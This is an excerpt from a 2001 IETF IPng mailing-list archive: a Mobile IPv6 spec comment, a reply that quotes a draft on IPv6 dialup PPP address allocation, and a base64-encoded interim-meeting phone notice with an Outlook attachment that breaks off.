id f4U5xRQ21750; Wed, 30 May 2001 14:59:27 +0900 (KST) Received: from words ([10.6.10.174]) by freenet.ktf.co.kr (8.9.3/8.9.3) with SMTP id PAA01664; Wed, 30 May 2001 15:00:24 +0900 (KST) Message-ID: <005e01c0e8ce$9f962c60$ae0a060a@n016.co.kr> From: "Jiwoong Lee" To: Cc: References: <00dd01c0e7d8$745bcf60$ae0a060a@n016.co.kr> Subject: Re: [mobile-ip] MN's packet reception Date: Wed, 30 May 2001 15:06:10 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset="ks_c_5601-1987" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk All In addtion to the original mail, I suggest to remove the last subordinate clause (*) starting with "as if.." of the below paragraph in MobileIPv6-13, because [1] Generic Packet Tunneling in IPv6 spec does not state that kind of statement and [2] the MN's BU condition (#) seems to be outof accord with (*), perhaps from the view point of implementation. comment please. Jiwoong For packets received by either the first or last of these three methods, the mobile node SHOULD send a Binding Update to the original sender of the packet, as described in Section 10.8, subject to the rate limiting defined in Section 10.11. The mobile node SHOULD also process the received packet in the manner defined for IPv6 encapsulation [4], which will result in the encapsulated (inner) packet being processed normally by upper-layer protocols within the mobile node, (*)as if it had been addressed (only) to the mobile node's home address. and In addition, when a mobile node receives a packet for which the mobile node can deduce that the original sender of the packet has no Binding Cache entry for the mobile node, or for which the mobile node can deduce that the original sender of the packet has an out-of-date care-of address for the mobile node in its Binding Cache, the mobile node SHOULD return a Binding Update to the sender giving its current care-of address (subject to the rate limiting defined in Section 10.11). In particular, the mobile node SHOULD return a Binding Update in response to receiving a packet that meets all of the following tests: (#) - The packet was tunneled using IPv6 encapsulation. ... ----- Original Message ----- From: "Jiwoong Lee" To: Sent: Tuesday, May 29, 2001 9:44 AM Subject: [mobile-ip] MN's packet reception > All, > > Becasue CN's requirement to use Binding Cache when it sends > a packet to MN is "SHOULD", the corresponding possibilities > in which a MN receives a packet while away from home also > should be described legitimately. > > A MN MAY receive a packet > addressed to its home address, which is sent by a CN that DOES > have a Binding Cache entry for the MN, if the CN does NOT like > to use Routing Header. > > Jiwoong > -- > > > 8.9. Sending Packets to a Mobile Node > > Before sending any packet, the sending node SHOULD examine its > Binding Cache for an entry for the destination address to which the > packet is being sent. If the sending node has a Binding Cache entry > for this address, the sending node SHOULD use a Routing header to > route the packet to this mobile node (the destination node) by way > of the care-of address in the binding recorded in that Binding Cache > entry. ... > > > 10.3. Receiving Packets While Away from Home > > While away from home, a mobile node will receive packets addressed to > its home address, by one of three methods: > > - Packets sent by a correspondent node that does not have a > Binding Cache entry for the mobile node, will be sent by the > correspondent node in the same way as any normal IP packet. Such > packets will then be intercepted by the mobile node's home agent, > encapsulated using IPv6 encapsulation [4], and tunneled to the > mobile node's primary care-of address. ... -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 29 23:57:01 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4U6uNj10307 for ipng-dist; Tue, 29 May 2001 23:56:23 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4U6uJe10300 for ; Tue, 29 May 2001 23:56:19 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id XAA06354 for ; Tue, 29 May 2001 23:56:27 -0700 (PDT) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by saturn.sun.com (8.9.3+Sun/8.9.3) with SMTP id XAA29425 for ; Tue, 29 May 2001 23:56:25 -0700 (PDT) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AA11977; Wed, 30 May 2001 02:56:20 -0400 Date: Wed, 30 May 2001 02:56:20 -0400 (EDT) From: Jim Bound To: Jun-ichiro itojun Hagino Cc: ipng@sunroof.eng.sun.com Subject: Re: dialup PPP (material for interim meeting) In-Reply-To: <20010530054428.A2DE1782@starfruit.itojun.org> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk itojun, Got it. I will down load to my laptop we really need this for IPv6. WOrst case maybe we can get dave, brian, or rich to make it available for attendees...... /jim On Wed, 30 May 2001, Jun-ichiro itojun Hagino wrote: > sorry that it is very late, here is a beta copy of our draft on > dialup PPP operation. > > itojun > > > > > > Internet Engineering Task Force Jun-ichiro itojun Hagino > INTERNET-DRAFT IIJ Research Laboratory > Expires: November 29, 2001 Kazu YAMAMOTO > IIJ Research Laboratory > May 29, 2001 > > > Requirements for IPv6 dialup PPP operation > draft-itojun-ipv6-dialup-requirement-01beta.txt > > Status of this Memo > > > This document is an Internet-Draft and is in full conformance with all > provisions of Section 10 of RFC2026. > > Internet-Drafts are working documents of the Internet Engineering Task > Force (IETF), its areas, and its working groups. Note that other groups > may also distribute working documents as Internet-Drafts. > > Internet-Drafts are draft documents valid for a maximum of six months > and may be updated, replaced, or obsoleted by other documents at any > time. It is inappropriate to use Internet-Drafts as reference material > or to cite them other than as ``work in progress.'' > > To view the list Internet-Draft Shadow Directories, see > http://www.ietf.org/shadow.html. > > Distribution of this memo is unlimited. > > The internet-draft will expire in 6 months. The date of expiration will > be November 29, 2001. > > > Abstract > > The memo tries to identify design choices in IPv6 dialup PPP services by > ISPs. > > > 1. Problem domain > > With the deployment of IPv6 [Deering, 1998] , it becomes more apparent > that we have different operational requirements in IPv6 dialup PPP > operation, from IPv4 dialup PPP operation. For example, it would be > desirable to see static address allocation, rather than dynamic address > allocation, whenever possible. With IPv4 this has been impossible due > to address space shortage, and IPCP [McGregor, 1992] dynamic address > allocation has been used. With IPv6 it is possible to perform static > address allocation from ISPs to downstream customers, as there's enough > address to spare. > > > > HAGINO and YAMAMOTO Expires: November 29, 2001 [Page 1] > > > DRAFT Requirements for IPv6 dialup PPP operation May 2001 > > The document tries to summarize possible design choices in IPv6 dialup > PPP operation. Actual operational practices should be documented > separately. > > > 2. Design choices > > 2.1. The usage pattern > > o Static clients. Computers located in home and offices do not usually > change its configurations, nor upstream ISPs. It would be desirable > to make a static address allocation in this case. > > o Roaming clients. Roaming clients, like travelling users with a > portable computer, have different requirement from static clients. It > is not usually possible to make a static address allocation, as > travelling users may connet to multiple ISPs from different countries. > Users may be able to hide their location changes by using mobile-ip6 > [Johnson, 2000] , however, mobile-ip6 concerns are outside of the > discussions of the document. Here we are discussing about actual > location of the user (care-of address in mobile-ip6 terminlogy). > > 2.2. Address space > > It is desired to assign /48 address space, regardless from usage pattern > or size of the downstream site. If it is apparent that the customers > will have a single subnet behind them, /64 allocation may be desirable. > It is to make future renumbering in downstream site easier on ISP > change. /128 assignment MUST NOT be made, as it will promote IPv6-to- > IPv6 NAT. > > The item is highly related to RIR address allocation recommendations. > > 2.3. Address allocation > > o Static address allocation. ISPs will allocate a static address space > (/48) to a downstream customer, on contract time. There will be no > protocol involved in address allocation - allocation will be informed > by paper. > > o Static address allocation, with some automation. It may be possible > to define a common protocol for configuring customer-side router(s) > from the upstream ISP, eliminating necessity of paper-based allocation > and configuration labor in the customer site. Note that router > renumbering protocol is not always suitable for this. Router > renumbering protocol assumes that the routers and control node to be > in the same administrative domain. > > o Dynamic address allocation. > > > > > > HAGINO and YAMAMOTO Expires: November 29, 2001 [Page 2] > > > DRAFT Requirements for IPv6 dialup PPP operation May 2001 > > 2.4. Where to assign address > > o Assign address to ppp interface. The form assigns /128 to the > customer computer, or /64 onto the PPP link. The form of address > assignment should not be used, as it advocates IPv6-to-IPv6 NAT. In > the following diagram, "Lx" denotes link-local address, and "Gx" > denotes global address. > > ISP router > |La, Ga > | ppp link > |Lb, Gb > Customer computer > > > o Assign address to the interface behind the customer router. The form > assigns /64 to the network segment behind customer router. > > ISP router > |La > | ppp link > |Lb > Customer router > |Gb > ==+=== Gx/64 > > In the cases where the customer has only a single computer, it is > possible to have virtual network segment behind the customer computer. > > ISP router > |La > | ppp link > |Lb > Customer computer > |Gb > ==+=== Gx/64 (VIRTUAL) > > Note that, however, /64 assignment will make it harder for customer > site to evolve in the future. /64 assignment is not recommended. > > o Assign address to the cloud behind the customer router (/48). In this > case, the upstream ISP has no idea about the topology in the customer > site. Actually, it is not necessary for the upstream ISP to know > about the address usage in the customer site. Static address > assignment is highly recommended in this case, as it is painful to > renumber the whole /48 cloud every time we reconnect the dialup PPP > link between the ISP and the customer site. > > > > > > > > HAGINO and YAMAMOTO Expires: November 29, 2001 [Page 3] > > > DRAFT Requirements for IPv6 dialup PPP operation May 2001 > > ISP router > |La > | ppp link > |Lb > Customer router > |Gb > (((Gx/48 cloud))) > > > 2.5. Routing > > o Static routing. ISPs will configure static route, pointing to the > customer site, for the address space assigned to the customer site. > Customer router (or customer computer) will install default route, > pointing to the ISP router via PPP link. > > o Simple dynamic routing. ISPs can exchange routes by using simple > dynamic routing protocols like RIPng. This allows the customer site > to adapt to PPP link status better. This also makes it easier to > detect PPP link disconnection. If the ISP announces non-default > routes to the downstream customer, it may help downstream to configure > multihomed connectivity (connection to multiple upstream ISPs) > [Hagino, 2000] ISPs may want to filter out bogus routing announcements > from the downstream. > > > 2.6. Portability of address space > > Depending on address aggregation policy in an ISP, portability of > address space can vary very much. The aspect has tight (and rather > complex) interdependency with usage pattern. > > o No portability. Suppose that the ISP X implements per-NOC/POP address > aggregation, inside the ISP. When the ISP X assigns a downstream > customer a /48 address space, the address space is from "Tokyo Japan" > aggregation block. ISP X will ask the customer to make a PPP dialup > call to specific phone number (for Tokyo POP). The customer will not > be able to use the address space when making PPP dialup connection > while he is in Osaka Japan. > > o Portability inside an ISP cloud. Suppose that the ISP Y does not > implement per-NOC/POP address aggregation. A customer of ISP Y could > make a dialup PPP connection, from Tokyo Japan, or Osaka Japan. > However, to implement this, ISP Y pays significant cost for its own. > Internal routing table in ISP Y could be larger, and could be more > hard-to-manage, than the internal routing table in ISP X. ISP Y may > want to charge more monthly charge compared to ISP X. > > o Portability across ISPs. It is possible to implement cross-ISP > address portability, by using appropriate tunnelling technology, or > special peering arrangement between two ISPs. > > > > HAGINO and YAMAMOTO Expires: November 29, 2001 [Page 4] > > > DRAFT Requirements for IPv6 dialup PPP operation May 2001 > > 3. Protocols and additional needs > > The section tries to diagnose existing protocols from dialup PPP > operation point of view. > > 3.1. Dynamic address space assignment > > In IPv4 PPP, we have been using IPCP [McGregor, 1992] to negotiate and > assign an address to the downstream. In IPv6 PPP, the PPP layer do not > define address assignment protocols for the upstream ISP to the > customer. IPv6CP [Haskin, 1998] only negotiates interface identifiers > among two parties (i.e. link-local addresses). As discussed in the > seciton for the usage pattern, we would need to support roaming clients, > which would require a protocol/mechanism for dynamic address assignment. > As we would like to use /64 or /48 address space assignment (rather than > /128), the protocol needs to be capable of handing out address space, > instead of an address. > > We have a couple of protocols and possibilities available for this > scenario. The following lists these protocols, as well as pros and cons > for each of them. > > o Automatic prefix assignment > > See [Haberman, 2000] . > > ICMPv6-based, downstream-initiated. > > Interactions with PPP: (1) Dialup connection establishment, LCP, > IPv6CP, PAP/CHAP. (2) Delegator query from customer, prefix > delegator from ISP. (3) Initial request from customer, prefix > delegated from ISP. (4) Customer propagates the prefix into the > site. (5) Custumer uses the ISP link. (6) Customer issues Prefix > return, prefix returned (7) Dialup link teardown. > > Issues: (1) Recovery on abnormal PPP link termination. (2) > Authentication. Reuse MD5 (PAP/CHAP secret) as AH/ESP keys? For > PPP link, can we assume there's no wiretappers? (3) Can a customer > request the same prefix again? Protocol-wise, we can do this. How > do we resolve conflicts if the ISP cannot satisfy the demand? (4) > Prefix propagation within customer site. RA for /64 (easy), router > renumber for /48? (difficult). (5) IANA type/code assignment. > > o Router renumbering > > With router renumbering protocol [Crawford, 2000] , we can replace > subnet numbers configured onto multiple multiple routers in a site. > Therefore, one may wonder if it is possible to use the protocol for > dynamic address space assignment from an ISP to customers. > However, the protocol is useful only for renumbering a single site > (administrative domain), and is not suitable for dialup prefix > assignment. > > > HAGINO and YAMAMOTO Expires: November 29, 2001 [Page 5] > > > DRAFT Requirements for IPv6 dialup PPP operation May 2001 > > The protocol assumes that we renubmer a single site, where > reachability is guaranteed among routers and the issuer of Prefix > Control Operations (PCOs), using site-local address. The > assumption does not hold for dialup case, as an ISP and customers > are considered as distinct sites, and it is possible that there are > collisions of site-local subnet numbers. Also, the protocol uses > shared IPsec secret between all the routers and the issuer of PCOs. > Normally ISP customers will not want to share IPsec authentication > key for their routers, with the upstream ISP. > > o DHCPv6 > > Older DHCPv6 draft [Bound, 2000] had an DHCPv6 extension type for > passing a subnet prefix from a DHCPv6 server to a client. The > draft was not clear enough as to how we should be using the > extension (like what kind of topology is assumed, what is the > assumptions against the client, and such). The extension was > dropped from more recent drafts, so it is not possible to use this > approach. > > o Extensions to PPP > > At this moment there is no PPP extension defined for IPv6 address > space assignment. From the past discussions, it seems that the > community is not in favor of extending PPP protocol for IPv6 > address space assignment. PPP already has too many extensions and > negotiation protocols with it. Also, if we declare IPv6 address > space assignment as an extension to PPP, we will not be able to use > it for IPv6 connectivity over other means (like tunnels [Gilligan, > 2000] ). > > 3.2. User/address management within ISP > > o Static configurations onto routers. This one is the easiest to > implement, but does not scale enough for realworld operations. > > o RADIUS. See [Aboba, 2001] > > > 4. Security considerations > > The document talks about no security issues. > > > References > > Deering, 1998. > S. Deering and R. Hinden, "Internet Protocol, Version 6 (IPv6) > Specification" in RFC2460 (December 1998). ftp://ftp.isi.edu/in- > notes/rfc2460.txt. > > > > > HAGINO and YAMAMOTO Expires: November 29, 2001 [Page 6] > > > DRAFT Requirements for IPv6 dialup PPP operation May 2001 > > McGregor, 1992. > G. McGregor, "The PPP Internet Protocol Control Protocol (IPCP)" in > RFC1332 (May 1992). ftp://ftp.isi.edu/in-notes/rfc1332.txt. > > Johnson, 2000. > David B. Johnson and Charles Perkins, "Mobility Support in IPv6" in > draft-ietf-mobileip-ipv6-13.txt (November 2000). work in progress > material. > > Hagino, 2000. > Jun-ichiro Hagino, "IPv6 multihoming support at site exit routers" in > draft-ietf-ipngwg-ipv6-2260-00.txt (June 2000). work in progress > material. > > Haskin, 1998. > D. Haskin and E. Allen, "IP Version 6 over PPP" in RFC2472 (December > 1998). ftp://ftp.isi.edu/in-notes/rfc2472.txt. > > Haberman, 2000. > B. Haberman and J. Martin, "Automatic Prefix Delegation Protocol for > Internet Protocol Version 6 (IPv6)" in draft-haberman-ipngwg-auto- > prefix-00.txt (November 2000). work in progress material. > > Crawford, 2000. > Matt Crawford, "Router Renumbering for IPv6" in RFC2894 (August 2000). > ftp://ftp.isi.edu/in-notes/rfc2894.txt. > > Bound, 2000. > J. Bound, M. Carney, and C. Perkins, "Extensions for the Dynamic Host > Configuration Protocol for IPv6" in draft-ietf-dhc-dhcpv6exts-12.txt > (May 2000). work in progress material. > > Gilligan, 2000. > R. Gilligan and E. Nordmark, "Transition Mechanisms for IPv6 Hosts and > Routers" in RFC2893 (August 2000). ftp://ftp.isi.edu/in- > notes/rfc2893.txt. > > Aboba, 2001. > Bernard Aboba, Glen Zorn, and Dave Mitton, "RADIUS and IPv6" in draft- > aboba-radius-ipv6-07.txt (February 2001). work in progress material. > > > Change history > > None. > > > Acknowledgements > > 00 -> 01 > Analysis for existing protocols (user/address management, prefix > assignment). > > > HAGINO and YAMAMOTO Expires: November 29, 2001 [Page 7] > > > DRAFT Requirements for IPv6 dialup PPP operation May 2001 > > Author's address > > Jun-ichiro itojun HAGINO > Research Laboratory, Internet Initiative Japan Inc. > Takebashi Yasuda Bldg., > 3-13 Kanda Nishiki-cho, > Chiyoda-ku,Tokyo 101-0054, JAPAN > Tel: +81-3-5259-6350 > Fax: +81-3-5259-6351 > Email: itojun@iijlab.net > > Kazu YAMAMOTO > Research Laboratory, Internet Initiative Japan Inc. > (for postal address, see above) > Email: kazu@iijlab.net > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > HAGINO and YAMAMOTO Expires: November 29, 2001 [Page 8] > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 30 11:11:47 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) id f4UIB3W11016 for ipng-dist; Wed, 30 May 2001 11:11:03 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4+Sun/8.11.4) with ESMTP id f4UIAxe11009 for ; Wed, 30 May 2001 11:11:00 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA07660 for ; Wed, 30 May 2001 11:11:06 -0700 (PDT) Received: from mail5.microsoft.com (mail5.microsoft.com [131.107.3.121]) by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id MAA14522 for ; Wed, 30 May 2001 12:11:01 -0600 (MDT) Received: from 157.54.9.101 by mail5.microsoft.com (InterScan E-Mail VirusWall NT); Wed, 30 May 2001 11:10:16 -0700 (Pacific Daylight Time) Received: from red-imc-02.redmond.corp.microsoft.com ([157.54.9.107]) by inet-imc-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Wed, 30 May 2001 11:08:43 -0700 Received: from win-imc-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.39]) by red-imc-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Wed, 30 May 2001 11:08:39 -0700 Received: from win-msg-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.134]) by win-imc-01.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Wed, 30 May 2001 11:07:51 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----_=_NextPart_001_01C0E933.70BFF280" Subject: Interim Meeting -- phone line Date: Wed, 30 May 2001 11:07:51 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Interim Meeting Parking Info/Directions Thread-Index: AcDocZXKguLMcMToQp2gBblUoWXKxwAwV4np From: "Christian Huitema" To: , X-OriginalArrivalTime: 30 May 2001 18:07:51.0698 (UTC) FILETIME=[71213720:01C0E933] Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This is a multi-part message in MIME format. ------_=_NextPart_001_01C0E933.70BFF280 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 V2UgaGF2ZSBhIHBob25lIGhvb2sgdXAgdG8gdGhlIGNvbmZlcmVuY2Ugcm9vbSB0b2RheSwgdG9t b3Jyb3cgJiBGcmlkYXksDQphbGxvd2luZyBmb3IgdXAgdG8gMjUgY2FsbGVycyBiZXR3ZWVuIDlh bSBhbmQgNXBtIGxvY2FsIHRpbWUuIFRoZSBjYWxsDQpudW1iZXIgaXM6DQogICAgICAgICAgIDEt ODAwLTQyMS02NzM4IG9yICsxICg0MjUpIDcwMy03NjAwDQpUaGUgbWVldGluZyBJRCBpcw0KICAg ICAgICAgICAxOTI2DQogDQotLSBDaHJpc3RpYW4gSHVpdGVtYSANCg== ------_=_NextPart_001_01C0E933.70BFF280 Content-Type: application/ms-tnef; name="winmail.dat" Content-Transfer-Encoding: base64 eJ8+IjQSAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAENgAQAAgAAAAIAAgABBYAD AA4AAADRBwUAHgALAAcAMwADAEMBASCAAwAOAAAA0QcFAB4ACwAHADMAAwBDAQEJgAEAIQAAAERE Mzg4RTdFNkU2NkQ5NDc4MTkyQjA5OEE5M0Y3NDlBAEoHAQOQBgDQDgAAOAAAAB8AGgABAAAAEgAA AEkAUABNAC4ATgBvAHQAZQAAAAAAAwA2AAAAAAAfADcAAQAAADwAAABJAG4AdABlAHIAaQBtACAA TQBlAGUAdABpAG4AZwAgAC0ALQAgAHAAaABvAG4AZQAgAGwAaQBuAGUAAABAADkAgPK/cDPpwAEf AD0AAQAAAAIAAAAAAAAAAgFHAAEAAAA8AAAAYz1VUzthPXdpbmRvd3M7cD1NaWNyb3NvZnQ7bD1X SU4tTVNHLTAyLTAxMDUzMDE4MDc1MVotMTQ0MTEAHwBJAAEAAABQAAAASQBuAHQAZQByAGkAbQAg AE0AZQBlAHQAaQBuAGcAIABQAGEAcgBrAGkAbgBnACAASQBuAGYAbwAvAEQAaQByAGUAYwB0AGkA bwBuAHMAAABAAE4AgOG7jnHowAEfAFoAAQAAABYAAABCAHIAaQBhAG4AIABaAGkAbABsAAAAAAAC AVsAAQAAAF4AAAAAAAAA3KdAyMBCEBq0uQgAKy/hggEAAAAAAAAAL089TUlDUk9TT0ZUL09VPUZJ UlNUIEFETUlOSVNUUkFUSVZFIEdST1VQL0NOPVJFQ0lQSUVOVFMvQ049QlpJTEwAAAACAVwAAQAA AEUAAABFWDovTz1NSUNST1NPRlQvT1U9RklSU1QgQURNSU5JU1RSQVRJVkUgR1JPVVAvQ049UkVD SVBJRU5UUy9DTj1CWklMTAAAAAAfAF0AAQAAABYAAABCAHIAaQBhAG4AIABaAGkAbABsAAAAAAAC AV4AAQAAAF4AAAAAAAAA3KdAyMBCEBq0uQgAKy/hggEAAAAAAAAAL089TUlDUk9TT0ZUL09VPUZJ UlNUIEFETUlOSVNUUkFUSVZFIEdST1VQL0NOPVJFQ0lQSUVOVFMvQ049QlpJTEwAAAACAV8AAQAA AEUAAABFWDovTz1NSUNST1NPRlQvT1U9RklSU1QgQURNSU5JU1RSQVRJVkUgR1JPVVAvQ049UkVD SVBJRU5UUy9DTj1CWklMTAAAAAAfAGYAAQAAAAoAAABTAE0AVABQAAAAAAAfAGcAAQAAACgAAABi AHoAaQBsAGwAQABtAGkAYwByAG8AcwBvAGYAdAAuAGMAbwBtAAAAHwBoAAEAAAAKAAAAUwBNAFQA UAAAAAAAHwBpAAEAAAAoAAAAYgB6AGkAbABsAEAAbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAA AB8AcAABAAAAUAAAAEkAbgB0AGUAcgBpAG0AIABNAGUAZQB0AGkAbgBnACAAUABhAHIAawBpAG4A ZwAgAEkAbgBmAG8ALwBEAGkAcgBlAGMAdABpAG8AbgBzAAAAAgFxAAEAAAAbAAAAAcDocZXKguLM cMToQp2gBblUoWXKxwAwV4npAB8AdAABAAAAbAAAAGkAcABuAGcAQABzAHUAbgByAG8AbwBmAC4A ZQBuAGcALgBzAHUAbgAuAGMAbwBtADsAIABuAGcAdAByAGEAbgBzAEAAcwB1AG4AcgBvAG8AZgAu AGUAbgBnAC4AcwB1AG4ALgBjAG8AbQAAAB8AGgwBAAAAJAAAAEMAaAByAGkAcwB0AGkAYQBuACAA SAB1AGkAdABlAG0AYQAAAB8AHQ4BAAAAPAAAAEkAbgB0AGUAcgBpAG0AIABNAGUAZQB0AGkAbgBn ACAALQAtACAAcABoAG8AbgBlACAAbABpAG4AZQAAAAIBCRABAAAAbwUAAGsFAAArFQAATFpGdbJI BZADAAoAcmNwZzEyNYIyA0NodG1sMQMwPwEDAfcKgAKkA+MCAGNowQrAc2V0MCAHEwKA/xADAFAE VghVB7IR1Q5RAwHdENcyBgAGwxHVMwRGENkJEu9mNBBvIFRhaN8DcQKAEeMI7wn3OxrPDjB2NRHS DGBjAFALCQFkMyY2EWALpTQgEAIqXHsOsgGQZxTwCqMR4x/oNAEU8DwhRE9DVFkAUEUgSFRNTCAA UFVCTElDICJALS8vVzNDI4BERFREIpQzLjIjgEU4TiI+IO0gjyXBMTjfIfAioiUPJh8okDMfgCdw +EVBRCfNDvEo7ytvJvSCNg7wPE1FVEEHsGJBLmA9IkcJ8ASQYYp0BbAiFxBPTlQk0CZULvAF4UV4 EPFuZ3plBlJ2EzExQQCQAiAgwDYuMC40Nw4gMhAnJP4szycDNzch8FRJqFRMRSfONA7wSQIwrQZx bQXQCeB0C4BnIuC9CsBrN4I2wAIQI+BpGtBWYzdwAiBzJm41IfAv/zVPM38oRTaROlAqTyifPiQC NRFgPEJPRFkg6mQ4oD0+QHI9kD4DACFzAzBAoWRvAOBAoQqxXP5xGrBAoRDwAzBBBRFgPbsjHvE+ v2c5NiHwREmeVkDZAABDFz3ZNjRGTwVDbzgqEVNQQU4gBmMLYAQQPTU3MzIEODFLwDYtMzAwuw5A TCAxRj9Jbw4QNCdRkkYv0SBmANBlPRl06iAAkHpPkDJMmxgwA7K7AdBC+Vcw8BEAMUAgUAB+cBmQ LzAfnFFhRKMZkG9gayB1cCAvcFVAaL8w8AWgOFAEkAnwT4AgA2DDA3BVQWRheSxVQQRgDnIDYAfg Sb4mYW1wywKAQPcmTVggRgUQVuP/B0AaYAPwN5ECEAXAVSRTj59Esg4wSwBa8TGRIGIRQDJ3CeEg OVjQUvBuZPggNXA3IBpgXaFVQAdxji4ZYFWSWvEgbnUG0K8TMVwvRLIEADomfDVF0V4vTxJA2UDn Q405IeEv/0rCZB9HTgHAQOcKomTICoD9JnwwKhEj4EYbZM9ED0Uf/0YvZ99IT2z/Tq8ZdFCPct// c+1QLwHxUaxJv0rDCqNLH0dML3KvWBpuYnNY+lz8J2EBQH6/f8+A34Hvgv//hA+FH4Yvhz+IT4lf im+Lf/+Mj42fjq+Pv5DPkd+S75P/P5UPlh+XL5g9YR9uUzEtf2V/Zo+Yj0ovfI99n5+oOO2isC0h 0J1gNqIQJ1AFscorDvAoIdA1KZwPblPgNzAzLTce4Apxna//nr+fz2M/qX+qj6ufZ29of/9pj2qf a6+s323Pbt+jL3D//3IPtR+hD6Ift/+7L3QvT8T/CqN4n1E/v3JgIZkvmj+Yb9+tz67fx0+on8l+ bbt/vI//vZ++r7+/wM/B38Lv0Og3VfxJRMTPxd/G6gQAx6/Iv//Jz8rf23+wD7Efsi+zP95v/7Vf tm+3f7iPuZ/Qv82Pzp//z6/p79HP0t/T79T/7p/Xr//Yv/PP9N/17/b/+A/5H/ov//s//E/9X/5v /38AjwGfAq//A78EzwXfBu8H/wkPCh8LL+8MP5ufnKvdkDbZ/9sP4///3S8Tv99P4F/hb+J/Fq/k n//lr+a/58/o3+4v6v/sD+0f/yIv7z/wT/Ff8m8m3xLvG9//FQ8WHy5PDi8PPxd/GI8Zn/8arzB/ HM8d3x7vH/8hDyZf/yMvJD8lTz7fJ29PPynfKu9BxHAtLSBDaFqAcw9fwF7gEJ86o0h1aXT+ZXVg LB8tLzj/Mg8zH02P/y+fFs80nzWvNr83z00fOe8LWK9ZvzVE4S9CT0S+WUaAWftRoFrvXXE3VuFQ SFRNTEaAfV+gAB8ANRABAAAAtgAAADwARgA2ADYAQQAwADQAQwAyADkAQQBEADkAMAAzADQAQQA4 ADIAMAA1ADkANAA5AEEARAAwAEMAOQAwADEAMAA0ADEAOABCAEUAMABEAEAAdwBpAG4ALQBtAHMA ZwAtADAAMgAuAHcAaQBuAGcAcgBvAHUAcAAuAHcAaQBuAGQAZQBwAGwAbwB5AC4AbgB0AGQAZQB2 AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQA+AAAAAAAfAEcQAQAAAB4AAABtAGUAcwBzAGEA ZwBlAC8AcgBmAGMAOAAyADIAAAAAAAsA8hABAAAAHwDzEAEAAABEAAAASQBuAHQAZQByAGkAbQAg AE0AZQBlAHQAaQBuAGcAIAAtAC0AIABwAGgAbwBuAGUAIABsAGkAbgBlAC4ARQBNAEwAAAALAPYQ AAAAAEAABzBJuu3zMunAAUAACDB63OpwM+nAAQMA3j/p/QAAAwDxPwkEAAAfAPg/AQAAACQAAABD AGgAcgBpAHMAdABpAGEAbgAgAEgAdQBpAHQAZQBtAGEAAAACAfk/AQAAAGAAAAAAAAAA3KdAyMBC EBq0uQgAKy/hggEAAAAAAAAAL089TUlDUk9TT0ZUL09VPUZJUlNUIEFETUlOSVNUUkFUSVZFIEdS T1VQL0NOPVJFQ0lQSUVOVFMvQ049SFVJVEVNQQAfAPo/AQAAACoAAABTAHkAcwB0AGUAbQAgAEEA ZABtAGkAbgBpAHMAdAByAGEAdABvAHIAAAAAAAIB+z8BAAAAHgAAAAAAAADcp0DIwEIQGrS5CAAr L+GCAQAAAAAAAAAuAAAAAwD9P+QEAAADABlAAAAAAAMAGkAAAAAAAwAdQAAAAAADAB5AAAAAAB8A MEABAAAAEAAAAEgAVQBJAFQARQBNAEEAAAAfADFAAQAAABAAAABIAFUASQBUAEUATQBBAAAAHwAy QAEAAAAMAAAAQgBaAEkATABMAAAAHwAzQAEAAAAMAAAAQgBaAEkATABMAAAAHwA4QAEAAAAQAAAA 